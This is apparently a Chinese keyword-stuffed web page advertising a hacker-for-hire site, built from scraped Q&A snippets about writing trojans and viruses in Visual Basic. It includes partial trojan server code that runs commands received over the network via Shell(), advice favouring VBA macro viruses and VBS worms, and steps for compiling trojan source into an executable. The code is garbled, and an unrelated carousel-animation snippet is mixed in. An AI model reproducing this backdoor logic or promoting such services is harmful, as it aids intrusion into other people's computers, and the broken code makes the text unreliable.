今天分享{黑客24小时在线接单网站}的知识，会对木马病毒编程代码解释，如果解决了您的问题可以收藏本站。
VB能编写病毒吗
vb完全可以写病毒，由于VB拥有RAD开发模式，所以用VB写的木马是很流行的，他可以屏蔽复杂的Windows底层机制，一个新手只要稍微有点基础，拖一个WINSOCK控件就可以写出最简单的木马（当然基本不能用，什么杀毒软件都能杀）。但是用VB写出的程序是需要运行库的，虽然不大，但还是极大制约了病毒的传播性，所以主流黑客情愿用VC+MFC，delphi,甚至ASM。当然不排除部分高手可以用VB进行纯API编程，这样的病毒不需运行库，且有极高的运行效率。不过这样的人不多，且这种方法不实用，没有多少程序员希望将精力花在系统层上，多数人都希望在逻辑层或应用层上做文章。正因如此,很多病毒开发者选择RAD工具来开发，但不是VB，是C++BUILDER和DELPHI。从现在的角度来讲，VB不适合开发病毒，但并非没有用处，VB的优势在于他有一帮厉害的弟兄们。用VBA写宏病毒，用VBS写蠕虫才是王道。win32病毒还是别用VB了吧。
用vb怎么编写木马程序?
我觉得吧想编写木马首先要对系统有一定的了解，VB编写木马的话基本都是调用API函数，去实现你想要的功能。比如关机，获取用户名称等等……现在网上有很多简单的木马程序。你可以搜索下，自己去看看。
之前我用Winsock控件编写过个简单的，有兴趣的话，回复我，我发给你参考下
VB能写木马类的软件吗？
可以的，下面就是一个木马的部分代码：
Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)
Dim strdata As String
Dim check_blong
on error gogo err_pro
tcpserver(index).GetData strdata
check_blong = InStr(Trim(strdata), "Exec")
If check_blong 0 Then
strdata = Trim(strdata)
strdata = Right(strdata.Len(strdata) - 4)
Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序：" + strdata
Shell (strdata)
Else
check_blong = InStr(Trim(strdata), "closeOk")
If check_blong 0 Then
tcpserver(index).Close
combol_IP.removeltem (index - 1)
content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开！"
Else
ipname.Text = tcpserver(index).RemoteHostIP
txtoutput.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + strdata
End If
End Sub
不要使坏哟，主要的不给。
vb旋转木马代码
Const pi = 3.14159265
Dim n As Integer
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
Dim i As Integer, j As Integer, k As Integer
i = 1000 * Cos(n * pi / 180) + 2000
j = 1000 * Sin(n * pi / 180) + 1500
Shape4.Top = j
Shape4.Left = i - Shape4.Width \ 2
Line1.X2 = i
Line1.Y2 = j
i = 1000 * Cos((n - 90) * pi / 180) + 2000
j = 1000 * Sin((n - 90) * pi / 180) + 1500
Shape2.Top = j
Shape2.Left = i - Shape2.Width \ 2
Line2.X1 = i
Line2.Y1 = j
i = 1000 * Cos((n + 90) * pi / 180) + 2000
j = 1000 * Sin((n + 90) * pi / 180) + 1500
Shape3.Top = j
Shape3.Left = i - Shape3.Width \ 2
Line2.X2 = i
Line2.Y2 = j
i = 1000 * Cos((n + 180) * pi / 180) + 2000
j = 1000 * Sin((n + 180) * pi / 180) + 1500
Shape1.Top = j
Shape1.Left = i - Shape1.Width \ 2
Line1.X1 = i
Line1.Y1 = j
n = n + 10
If n = 360 Then n = 0
End Sub
Shape：400X400。
我得到了用VB编写的木马源码,我应该怎么编出木马
如果是在VB6下，可以运行“文件”菜单下的“生成.exe”命令得到目标程序；
如果是在vb.net下，可以运行“生成”菜单下的“生成”命令来编译工程。
vb木马病毒代码编写的介绍到这里结束，感谢您的关注，木马病毒编程代码、vb木马病毒代码编写的信息别忘了在本站进行查找喔。